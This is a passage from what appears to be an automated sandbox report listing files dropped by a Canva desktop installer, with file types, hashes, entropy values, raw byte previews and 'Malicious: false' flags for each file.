Preview:	........r%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.1...w.>...y.D...z.S...\|.Y...}.k.....s.....x.......................................................................T...........F...........x...................................{...........b.........................................z.............................U.................}...........=............................`.....T...........+.....g.....^...........1............ .....!....."....\|#.....$.....%....#&.....'.....'.....(....H(....q)....6...............+.....,....&-....g-.........../....20.....0.....1.....2.....3....[3....{4....L5.....5.....6....#7.....7....i8.....8.....9.....:.....;....b;.....<.....=....N>.....>.....?....C@.....@.....@.....A....EB.....B.....B....wC....,D.....D....%E.....F.....G.....H.....H.....I....^J.....J.....K....FL....$M.....M.....M....@O.....O.....P.....P.....R....<T....mU.....U....0W....AX.....X....lY.....Z.....[....;\.....\.....]....Z^.....^....._....\`....Wa.....b

C:\Program Files (x86)\Canva\locales\th.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1055231
Entropy (8bit):	4.333705516374822
Encrypted:	false
SSDEEP:	12288:78XSN9LyZYArTJz1L/L1XPhHsbhRy1cW+v1H5UJEyL3ftj8wlz9eTRo94G+K9uLO:78XBS5j5k
MD5:	8470D57577F417DA93D40889CBE9F4BF
SHA1:	6B497939F2B196A1B84E06D8AC2449B554C14A60
SHA-256:	F5118CA292C570E69972FF8A7A81940A98DBF4519532CEFF133488A329825F78
SHA-512:	EFA31D2C3DC584AAA4120C931749FF1CC0F21D263530DD6BD2D9F66BEC74159998CBF679A78B8D231FAB5DA1F0CB48A9D9DFACD0E0E85336B234B87B2457BFF3
Malicious:	false
Preview:	.........$..e.....h.....i.....j.....k.....l.....o.....p.....q.....r.....s.(...t.1...v.F...w.S...y.Y...z.h...\|.n...}...........................................................................................s.......................V...........]...........^.................k...........A.....z.....U...........H...........j.................s...........<.....U.....x.....3.............................$.....u.....C...........n...........]...........j...........e...........~.........................................=.......................H.......................2.......................: ..... ..... .....!....Z".....".....".....#....k$.....$.....%.....%....P&.....&.....&.....'....K(.....(.....(...............+.....+.....,....(-....t-.....-....b...........-/....d/.....0....r0.....0.....1....92.....2....x3.....3.....4.....5....@5....p5....E6.....6.....7....d7....c8.....8....g9.....9.....:.....;....6<....W<.....=.....>....[?.....?.....@....fA.....A.....B.....B....^C.....C.....C.....D.....E....<F

C:\Program Files (x86)\Canva\locales\tr.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	535874
Entropy (8bit):	5.6117453642537285
Encrypted:	false
SSDEEP:	6144:KErTapWZp08qQdrdwZiRDhzXkKxv8CXHXki4wge75MW/2+qi1nEedGAMYw/KFT6Q:KECph8qeoi7zBkiN5MW/B
MD5:	04D37B8E9DB287042E86D0623063F9CA
SHA1:	C6C3C32350737EFBC938F59A12D1D4A1C2ACA736
SHA-256:	0FD794B314D12652CA5C1986795A00BD0116B44A3163D2EA0B26560E3AD23EEE
SHA-512:	38756868FDD0045AA3E10D26E89F923759AFF7FB4C984CAE2FC46091D737E6C9B5EDD924948671ABE4B9991E150DCB0068143618911595F021332A5DBA7AD912
Malicious:	false
Preview:	.........%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.%...r.1...s.B...t.K...v.`...w.m...y.s...z.....\|.....}...........................................................................................5...........X.................7.......................q...........,.....G.................C.....V.................&.....5.......................*.................,.....N...........A.......................f.......................].........................................].................-.......................3.................!.....2.......................,.......................;.................A.....R.................E.....R.................>.....J.................C.....P...........U.................'.......................(.....u.......................\.......................}.................9....................... .....y.................8.............................6.................N............ ..... ..... ....4!....z!.....!.....!....Z".....".....".....#....x#.....#

C:\Program Files (x86)\Canva\locales\uk.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	918373
Entropy (8bit):	4.858278654048673
Encrypted:	false
SSDEEP:	12288:/T0LytA6d8Nj7RMRWYPnfzKj0meRi8ICN5rB3IjtAlLEpdcuPLNiXEqqbQS0w:/Ys8Njtgz55E5
MD5:	BC19ED011123CE8CE343BA2BE9DAA315
SHA1:	D588DF92475BB650D1E2BFC15E558315E90C9425
SHA-256:	EF7FFD8792B482829F31924241E6BD12DCCDFDF404A0781BB28747C308649C0A
SHA-512:	6B0960807F27C7653E7D851D503F5564F773C9E4290D4745566A0C3911CC0EF12E90F47DE883C541129AD7D294A766F226DC689AA343A00AD72049BF3D5C3713
Malicious:	false
Preview:	.........%V.e.....h.....i.....j.....k.....l.....n.....o.....p.#...q.)...r.5...s.F...t.O...v.d...w.q...y.w...z.....\|.....}.....................................................................................?...........e.....(.......................!.................{...../.......................J.............................\|...........:...........&.....;.........................................K...........9...........3.....Y...............................................!.................\...........$...................................<.....]...........\.................l...........j...........&.............................,.....v.............................. ..... .....!....`!....{!....t"....D#.....#.....$.....$....!%....e%.....%.....%....]&.....&.....&....Y'.....'....x(.....(.....)....<.........++.....+....,,....`,.....,....4-.....-.....-....%............/.....0.....0.... 1.....1.....2.....2.....3...._4.....4....)5.....5....h6.....6.....6....i7.....7....%8....B8.....9.....9....2:

C:\Program Files (x86)\Canva\locales\ur.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	801665
Entropy (8bit):	5.134245422974978
Encrypted:	false
SSDEEP:	12288:Xc/F4PuvV+8PomR0D2nyBO3QU56JhEFZWPOWojYzQYrNwadcJKwU8ueco/9NjjFE:Xcm6V5vWR
MD5:	4144860C649699B6237186D186697910
SHA1:	A1774F0AE15891A80D40202723E4DF4044788D40
SHA-256:	2E0B43AFA9C69288586ED404564EE2F420A87FF7936BDB48EFBF21CE8F58F468
SHA-512:	D1E1FF2BDC0E746E84C36B221C7CBBD49A905B6353A23914F1F9F4A9314F495B1D273230C99488F9A3B61980211D90E996165B3DF7A3AA761E374D2A35AC8CD9
Malicious:	false
Preview:	........V%..e.V...h.^...i.f...j.r...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.!.....)...........6.....>.....F.....M.....T.....[.....\.....].....b.....z.............................l.....................................................'.....\.......................:...........E.................H.................7...........C.................\|...........y...........Z...........J.....i........................................7.....c.....A.......................<...................................6.....X...........A.................9.................+...........J.................L................./...........+.....w.............................. ..... ....q!.....!....."....."....(#....n#.....#.....$.....$.....$.....$....g%.....%....'&....H&.....'.....'.....(....J(.....(....K).....).....)....W.........2+....X+....,.....,....$-....U-....%...........\/...../....d0.....1.....1.....1.....2....13.....3.....3....[4.....4.....5....D5.....5....x6.....6

C:\Program Files (x86)\Canva\locales\vi.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	634523
Entropy (8bit):	5.786224749056375
Encrypted:	false
SSDEEP:	12288:HLvU+cmwJlroEKaaF/KtXy0xxcPdI9+vUx5a8hye94KieJziMHo6wtON:rs+cmwJl7a4ti0xeo5a88e1ieliMI6wI
MD5:	4185AB945C7550DE028909A55ABD3129
SHA1:	0D5DAF37C1A0528C6F1DBA47758FC18938B6F34C
SHA-256:	030D29BFC26F9F08DB13455C0D635F33B0315905D27D030D9F7813DADD899603
SHA-512:	F500B4957AB0192A570130868BD661F94B4D0CD36D6A9EA5BE45437C95DCD8923CCA1EBFACD9AC98B85420E1D9FA96A74A9D4801432296A87871867672B3C60E
Malicious:	false
Preview:	.........%^.e.....h.....i.....j.....k.....l.....n.....o.....p.....q."...r.....s.?...t.H...v.]...w.j...y.p...z.....\|.....}..................................................................................... .....?.......................1...........E................._...........S.....y...........z.................:......................./...................................K.....}.....=...........O.....}.............................~...........C.....Z...................................X.................\.......................v.................!.................=.....N...........L.........................................+.......................@.......................S.............................^.................c...................................-...........$.....Z.....z.....#............ ....n ..... ....R!.....!.....!....7".....".....".....#.....#.....#....S$....z$.....%.....%....3&....G&.....'.....'.....(....D(.....(....-)....b)....{).....)....N..........*....3+.....+.....,....<,

C:\Program Files (x86)\Canva\locales\zh-CN.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	458528
Entropy (8bit):	6.664384291438873
Encrypted:	false
SSDEEP:	6144:nRAwX0s66VXNN5zu+E7/56aO/epD659+qjNFEwYHB07ulz:nRA3s6OXNzzt856aO/w65McNFEwmB/
MD5:	6AF4D1577C142B87DABD3262F37634C8
SHA1:	1B6152757B163455E9E1304E1BA1C09DD6593385
SHA-256:	374AED2859320A7287B64A8D1B150F7DE05A931BE3603A541B68DDD64EA361B1
SHA-512:	7F0A6CF88634E852B0E3E3B6B8A0C703602F3F606B8B34183D129F55EA2CE120E1C4D2EE2820FE027F025D422EBD0DFFE5F696303C1306F717129985CC0EF826
Malicious:	false
Preview:	.........$..e.f...h.n...i.v...j.y...k.....l.....m.....o.....p.....q.....r.....s.....t.....v.....w.....\|.....}...................#.....+.....:.....?.....G.....N.....U.....W.....\.....e.....q.........................................C.......................A.......................L.......................P.......................(.....u.......................V.....\|.................q.................#.............................f.......................R.......................h.......................G.....a.....{.................4.....@.............................g.......................o.......................O.......................4.............................^.......................y................. .....i.......................E.....j.................8.....\.....n.................O.....o.......................$.............................................../.................`.....r...........>.....v.................;.....a.....p.................!.....1.......................#.......

C:\Program Files (x86)\Canva\locales\zh-TW.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	453011
Entropy (8bit):	6.676159403780886
Encrypted:	false
SSDEEP:	6144:1K2A4c8ADmJUHGF2tuDasg5V5gjkzBMOZQyZV7zeXTA:8Z8Ahwasg5V5gjkzpr/7/
MD5:	D6800784F1138702E4973CC5B074FE6C
SHA1:	A8938CED7FE5A35163C28214EADD96A6F63A8666
SHA-256:	D2C4AEC734BC94FBE7D60666343B4E419BE5E2CD1FF445A8BBF14FB4B8D3D715
SHA-512:	3AD3557908E4BA71A5062AB0BE07832D553E6A3BD56BDD59A719DF65A4D9152950AF2DE25C6C410B6407463A862C92D49E9D0EE863BEF27A792AA128458FC7E7
Malicious:	false
Preview:	.........$..e.....h.&...i.7...j.;...k.J...l.U...n.]...o.b...p.j...q.p...r.\|...s.....t.....v.....w.....y.....z.....\|.....}.............................................................'.....3.....B.....Q...........A.......................9.....b.....n.................`.....r...........".....O.....a.................2.....>.............................f.......................Z.......................R.......................:.......................).......................?.......................E.............................C.....c.....o.................1.....@.............................p.......................S.......................;.............................h.......................e.......................@.....Z.....n................. .............................t.......................].............................g.......................O.....~...................................G.......................Y.......................#.....d.....y.................0.....W.....i...........".

C:\Program Files (x86)\Canva\p103.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	MS Windows icon resource - 16 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, -64x-64, 32 bits/pixel
Category:	dropped
Size (bytes):	418858
Entropy (8bit):	6.134356329318626
Encrypted:	false
SSDEEP:	6144:UhWzbZ9cheFHGEsKisWsssHY698kbbsh4Ey+hX2MVhcjmvlEsfwWssssPjb2fh7f:hZ91F6imvJU3tg781CU
MD5:	06EC08FB855CE8FBCB146F5E0B9007C1
SHA1:	DB31FDC1632FC86CA37717435640D6FD8C9BEDF2
SHA-256:	01B606DA42E3DE189D6DD4F86F22C146C7CC9B5C66270FA2BB68B74EE0B8FFB2
SHA-512:	6907857F6423AD41445978E617C3169E75A934C94463C8BFD56E438B5B378DB904F0A4FC13E37B6A7FAD48C80D5EFAD2147151E589B2C3F398EADE6634A0F330
Malicious:	false
Preview:	............ ............... .(R............ .(.......``.... .........PP.... ..g......HH.... ..T......@@.... .(B.."^..<<.... .H:..J...00.... ..%......((.... .h...:...$$.... ......... .... .....0........ ......@........ ......O........ ......Y........ .h...._...PNG........IHDR.............\r.f....IDATx...y..WU&.?.ukHj..9...Q.s...HS. -..VZ....b7v.=......U@..m[.?..mK..Z.+..$@.cB.S.TR....5......^k?k.}.=.TFj.S..w.{\..^{o....N.w....\|.n...O.)..lH".. H....o.#.w....\dWB.$..v..w.>..F".fdf.(a..Y.Zx.%.....L.<.#..i.T.\|s.c.t.!A6...E0.L<)I.Rf.I...R+_. .I.u.K...])....}.../..Gz.N...I..hK.w...........".\|.fL..S..i...K.q.#.....T.+.v..cgB..Kw......s..'..)....t.cn.......^..6./.s6........\mB[...R.B..7U..>}$.....<....z....9....w.....z.Wu...N/.q7*..i....]...C.>........Ufl..;.dg:.?_9.u'...N...#m.1.u.7H....f.s....()...S%'.RxPk...r.x.%2..{.?...B]..s..I....G...$:x..I..P..;..B [...f.........8Ii..\P.L`xWgK.90... ....Hj./P~......p.h..~R.<4..8.I5=p..-......Z3'..<.i......$~ih.JV,.'

C:\Program Files (x86)\Canva\resources.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	5281234
Entropy (8bit):	7.996903093990653
Encrypted:	true
SSDEEP:	98304:UCNks/PeeUfLi93zJ/HbKKSoDr+cgSrwrNl8dtSip6QaVaK2nwuoM10mpmjy+0V4:UAk03dB7KRcRkrNi/SQaVN2wuJ10Le+1
MD5:	54790975C932460FFA375CD0F0F8FFF0
SHA1:	05B72FF82ABB8DDAC1A92471F765B87B7FF1E9FD
SHA-256:	1EFDD507BB6F4FB07329EC7EC29EE00C952D6390BD5CFE3B41FB307C5CAEAB6C
SHA-512:	D74627207CAA35602E68AD6C08A0EBF55FE062E191A1885EB38226755D382DD3407DEA883E4337C5CFF23C1F724D64E5598EDF7A5CE93D4CC1EA6EA10C41AA0E
Malicious:	false
Preview:	........5...f.\...{..)..\|..,..~.F0.....B.....D.....P....H................V...........B.....k.....M.....c...........F.....$.........t@....u@;...v@....w@....x@c...y@l...~@.&...@.,...@.1...@.1...A.1...A.5...A_7...A.<...A.E...AsT...A/u...Avv...A.w...A.w...A.\|..<AL...=AR...>A....?A....@A....AA....BA....CA....DA\....A.....A.....A....RIb...wI....xI....yI....zI....{I.....No)...N.6...N.>...N!B...N.E...N.O...N.P...N.R...NOS...N.....Nn....O.{...O\~..T`....U`....V`....W`x...X`....Y`....Z`v...[`.....`.....`.....`.....`m)...`d,...`.1...`.2...`@4...`.5...`.8...`.=...`.G..0aUO..1a.X..2a.]..3a>d..4a3o..5a~\|..6a....7a....8ao...9a....:a....;aV...<a....=a....pb....qb&...rb......V.............................j............................w..................................................9...._........................+$...`'............b........x............................@....7.....>..x..D..y..D..z.YE..{.gF....kH.....I..../....B...@F....G...{H....I....K...2N...<Q....R

C:\Program Files (x86)\Canva\resources\app-update.yml (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	148
Entropy (8bit):	4.57987136972235
Encrypted:	false
SSDEEP:	3:ohFDukNeAiVIQXGxL0cbG3LCz5gtSWQn+ERHNyCHGTG:ov/eA27WGcbGGz5gcWQn+EPHGS
MD5:	2695A2101AC814E76A66F10140DC1C51
SHA1:	A614869A567A7044342C8ECF223B6108760522BB
SHA-256:	2D16A721225F4B5DF7E9089FF2DEE4882DD56230AA055014A66446FB464196E0
SHA-512:	DE059C12E1EFF34D3734E8F159E96BF1BF59094D9484F45281C652F9A583735113AF8AF4508C4943C61A74E4DBF5D961084FED7DD75CCD33824E9A826F637CB4
Malicious:	false
Preview:	provider: generic.url: https://desktop-release.canva.com.useMultipleRangeRequest: false.updaterCacheDirName: canva-updater.publisherName:. - Canva.

C:\Program Files (x86)\Canva\resources\app.asar (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	15734992
Entropy (8bit):	6.749226970655084
Encrypted:	false
SSDEEP:	98304:ROqtdo+yD0BVlJx5rh+yD0BcWYlAZIQKMWDcHEdBN+yBpWnBC:R5ryINJx5EyImWYiHyBQY
MD5:	524F2B9774C15BA779BA362DF782154F
SHA1:	7E9800300ACA8FA332592533431F9909F63B530D
SHA-256:	FD66C98090536FA8268D284E2E4D5F675BD3B4F40618929BA1635B74E2F06D14
SHA-512:	2A71ED3723AFB08E4208B59DD2156799C99A556787CAC21ADA48C2872F26FD83AC81BEF516181729A9E6C492D801EB5188F105B8FA0D9F1ACECFBDE170CD89A4
Malicious:	false
Preview:	................{"files":{"package.json":{"size":2691,"integrity":{"algorithm":"SHA256","hash":"d95b059ceee6fff5175a190753b0a889a25f40c2af500972d71cb71d1eac4b23","blockSize":4194304,"blocks":["d95b059ceee6fff5175a190753b0a889a25f40c2af500972d71cb71d1eac4b23"]},"offset":"0"},"dist":{"files":{"0104d262d85cb31049f5.strings.js":{"size":8938,"integrity":{"algorithm":"SHA256","hash":"b1e33f04d9dcd4b6d79ca2eab747537a222f325985e856701c2274ffec163719","blockSize":4194304,"blocks":["b1e33f04d9dcd4b6d79ca2eab747537a222f325985e856701c2274ffec163719"]},"offset":"2691"},"024c63a876f429feca4e.strings.js":{"size":5697,"integrity":{"algorithm":"SHA256","hash":"2e28ee6a049ed0ba127dba46ddf8fa80b9baedd07afea909001383183c3d9c20","blockSize":4194304,"blocks":["2e28ee6a049ed0ba127dba46ddf8fa80b9baedd07afea909001383183c3d9c20"]},"offset":"11629"},"02bffd264308f7eef680.strings.js":{"size":5398,"integrity":{"algorithm":"SHA256","hash":"48568aa7dce9fbb86980f1477319e4023cccd21a1b021f3dcda25a78d010c97a","blockSize

C:\Program Files (x86)\Canva\resources\elevate.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	130176
Entropy (8bit):	6.788440080352573
Encrypted:	false
SSDEEP:	3072:JKbLnrwQoRDtdMMgSXiFJWcIgUVCfRjV/GrWldqhSq0+j:IPrwRhte1XsE1ldqhSq0+
MD5:	DE37EA1C34D2677ACA6E258DC64A5190
SHA1:	87F89EB4F22B8CA4F75FB1D3F489092F099174D2
SHA-256:	1356F5E0C182456AFEB3A7293FBECD082257FBCC39A8BA1C8DBEDCA1D7A9C94A
SHA-512:	0DD2EF48FC9059AFA8B86538903DB0E36E1C7D4E79509981851B2714313065BC7DF4B83F3D379F0ECAAB3393ABAA149534650D4D38C425B62B0F146237BA888F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..O..............h.......j.q.....k.....e......e......e.......zR........._...h......h.f.............h......Rich....................PE..L......W............................l........0....@.................................^.....@....................................P.......x................X......T.......p...............................@............0..$............................text............................... ..`.rdata...k...0...l..................@..@.data...............................@....gfids..............................@..@.rsrc...x...........................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\resources\is-851C3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	15734992
Entropy (8bit):	6.749226970655084
Encrypted:	false
SSDEEP:	98304:ROqtdo+yD0BVlJx5rh+yD0BcWYlAZIQKMWDcHEdBN+yBpWnBC:R5ryINJx5EyImWYiHyBQY
MD5:	524F2B9774C15BA779BA362DF782154F
SHA1:	7E9800300ACA8FA332592533431F9909F63B530D
SHA-256:	FD66C98090536FA8268D284E2E4D5F675BD3B4F40618929BA1635B74E2F06D14
SHA-512:	2A71ED3723AFB08E4208B59DD2156799C99A556787CAC21ADA48C2872F26FD83AC81BEF516181729A9E6C492D801EB5188F105B8FA0D9F1ACECFBDE170CD89A4
Malicious:	false
Preview:	................{"files":{"package.json":{"size":2691,"integrity":{"algorithm":"SHA256","hash":"d95b059ceee6fff5175a190753b0a889a25f40c2af500972d71cb71d1eac4b23","blockSize":4194304,"blocks":["d95b059ceee6fff5175a190753b0a889a25f40c2af500972d71cb71d1eac4b23"]},"offset":"0"},"dist":{"files":{"0104d262d85cb31049f5.strings.js":{"size":8938,"integrity":{"algorithm":"SHA256","hash":"b1e33f04d9dcd4b6d79ca2eab747537a222f325985e856701c2274ffec163719","blockSize":4194304,"blocks":["b1e33f04d9dcd4b6d79ca2eab747537a222f325985e856701c2274ffec163719"]},"offset":"2691"},"024c63a876f429feca4e.strings.js":{"size":5697,"integrity":{"algorithm":"SHA256","hash":"2e28ee6a049ed0ba127dba46ddf8fa80b9baedd07afea909001383183c3d9c20","blockSize":4194304,"blocks":["2e28ee6a049ed0ba127dba46ddf8fa80b9baedd07afea909001383183c3d9c20"]},"offset":"11629"},"02bffd264308f7eef680.strings.js":{"size":5398,"integrity":{"algorithm":"SHA256","hash":"48568aa7dce9fbb86980f1477319e4023cccd21a1b021f3dcda25a78d010c97a","blockSize

C:\Program Files (x86)\Canva\resources\is-8IM33.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	148
Entropy (8bit):	4.57987136972235
Encrypted:	false
SSDEEP:	3:ohFDukNeAiVIQXGxL0cbG3LCz5gtSWQn+ERHNyCHGTG:ov/eA27WGcbGGz5gcWQn+EPHGS
MD5:	2695A2101AC814E76A66F10140DC1C51
SHA1:	A614869A567A7044342C8ECF223B6108760522BB
SHA-256:	2D16A721225F4B5DF7E9089FF2DEE4882DD56230AA055014A66446FB464196E0
SHA-512:	DE059C12E1EFF34D3734E8F159E96BF1BF59094D9484F45281C652F9A583735113AF8AF4508C4943C61A74E4DBF5D961084FED7DD75CCD33824E9A826F637CB4
Malicious:	false
Preview:	provider: generic.url: https://desktop-release.canva.com.useMultipleRangeRequest: false.updaterCacheDirName: canva-updater.publisherName:. - Canva.

C:\Program Files (x86)\Canva\resources\is-NK1KE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	130176
Entropy (8bit):	6.788440080352573
Encrypted:	false
SSDEEP:	3072:JKbLnrwQoRDtdMMgSXiFJWcIgUVCfRjV/GrWldqhSq0+j:IPrwRhte1XsE1ldqhSq0+
MD5:	DE37EA1C34D2677ACA6E258DC64A5190
SHA1:	87F89EB4F22B8CA4F75FB1D3F489092F099174D2
SHA-256:	1356F5E0C182456AFEB3A7293FBECD082257FBCC39A8BA1C8DBEDCA1D7A9C94A
SHA-512:	0DD2EF48FC9059AFA8B86538903DB0E36E1C7D4E79509981851B2714313065BC7DF4B83F3D379F0ECAAB3393ABAA149534650D4D38C425B62B0F146237BA888F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..O..............h.......j.q.....k.....e......e......e.......zR........._...h......h.f.............h......Rich....................PE..L......W............................l........0....@.................................^.....@....................................P.......x................X......T.......p...............................@............0..$............................text............................... ..`.rdata...k...0...l..................@..@.data...............................@....gfids..............................@..@.rsrc...x...........................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\snapshot_blob.bin (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	306214
Entropy (8bit):	4.392850925698206
Encrypted:	false
SSDEEP:	3072:ogusbBDoCIdRSt25iD1Z3yAcCLi9wfuwWMvDdkbMzaQ:ogus9oCM9OUYffnWYWbIF
MD5:	AEDD1B80A8140B94C00DB3C0B9485772
SHA1:	2DC8444E599438ED37A31EBFE7F8859AF7FAC631
SHA-256:	C1DA41052ABE31791AE90A9DBE54442A641E1ECBB018EF35C44E7AED05B8F72E
SHA-512:	3E06CB550F46285D8DC81D1F082732C07E9C9D81ABE931E859262C7BA699D4EB9737581F5A5C5174E09BB0FC0561A9DE46298714CED38F453F922F9536C67D0C
Malicious:	false
Preview:	...............12.2.281.27-electron.0..........................................8L..N...........$....K..a........a........a2.......ar.......a2.......aT.........."..............B..............b........."..............B........(Jb....L.....@..F^.-..1.`.....(Jb...2P.....@..F^..`.....H...IDa........Db............D`.....).D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.........................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	InnoSetup Log Canva {E2B12A21-5B2A-41DE-8007-E1CC4F4A331B}, version 0x418, 11563767 bytes, 116938\37\user, C:\Program Files (x86)\Canva\376\377\377\0
Category:	dropped
Size (bytes):	11563767
Entropy (8bit):	4.020680287163256
Encrypted:	false
SSDEEP:	49152:1uBfIKG9qAEgid5N69HYtlTw+Xm3RWQAr4Q3w5SV0kofylOgp95AbNztXMKMd:gF
MD5:	BE1893219D08521FC1A6BEFC140B44C3
SHA1:	B3EB13875EF24A9F3F004C1E6E6605341440441B
SHA-256:	77AFEE289109B2538B1A7D62450D44932FDD480E500605BF8FBE103D304131EF
SHA-512:	F184C9109261F3B35EA57188A68AFE086DCE9E91440D4249F72FBAFB87ABF84A8EC47BA4197AFBE47A3A8B0524DA955356B65ACFDE2FBF92D3A271F5CAF79B64
Malicious:	false
Preview:	Inno Setup Uninstall Log (b)....................................{E2B12A21-5B2A-41DE-8007-E1CC4F4A331B}}.........................................................................................Canva...............................................................................................................................V....r.......................................................................................................................................{........1.1.6.9.3.8......f.r.o.n.t.d.e.s.k......C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.C.a.n.v.a..................1.Y.. .....<...VAP.IFPS....#........................................................................................................ANYMETHOD.....................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TMAINFORM....TMAINFORM.........TUNINSTALLPROGRESSFORM....TUNINSTALLPROGRESSFORM.........TEXECWAIT.........TSETUPSTEP.....u...........!MAIN....-1.

C:\Program Files (x86)\Canva\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3723837
Entropy (8bit):	6.593259965429601
Encrypted:	false
SSDEEP:	98304:oJYVM+LtVt3P/KuG2ONG9iqLRQV333K09:5VL/tnHGYiqln0
MD5:	11A5CDE3AE5BC1EF3F6F8E84FEC543F2
SHA1:	2BA4A3A6079E019752D079AA864F0E6C7E6443D5
SHA-256:	2752E7CDDBEECCC09976277F24D4CD9AA7B9D0F354F4F3E7B10103320CC679F3
SHA-512:	5CC53E4C6003129F37F969A4EEA7F8AA84CCF1BC5A69E25A5A648A4F6CA429246B073426F94EB963EBE991BD04BBEBAD95133A41CFFC1B8374E0C4B20667D966
Malicious:	false
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................@9...........@......@...................P,.n.....,.j:...P0.......................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc........P0......./.............@..@.............04......`3.............@..@................

C:\Program Files (x86)\Canva\v8_context_snapshot.bin (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	679161
Entropy (8bit):	5.217457437935302
Encrypted:	false
SSDEEP:	6144:m/h8ML2Zu/Bg90Ws9oCM9Otxh6vtDINPbIgTtLAkW/cB2Z0JZkQXEzBO+lZ:myMSZu/Bg90BuCzIP/+2ZGZazJlZ
MD5:	0C259ECBB12E6F3F0E076E6200221489
SHA1:	3DE53DCAFDCE24C151DD1812769B46ACEA77C90C
SHA-256:	83A8345EA197020E07FE2CF53E74F31D0CC632CA1537F5C9C1DB2FB2665AB04F
SHA-512:	6EF39EE8B7D40C5E6C0E79F8C4E846D431A6A87711D025122E2E7F060C5754FFF917771D5EDE6ADEC3BE909FB5CE0E8EB1DF5E18142ECDB6339BDDE8CE2C8398
Malicious:	false
Preview:	........a. ..?h12.2.281.27-electron.0..................................................................$...x...a........a........a........ar.......a2.......aT.........."..............B..............b........."..............B........(Jb....L.....@..F^.-..1.`.....(Jb...2P.....@..F^..`.....H...IDa........Db............D`.....).D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\vk_swiftshader.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5312000
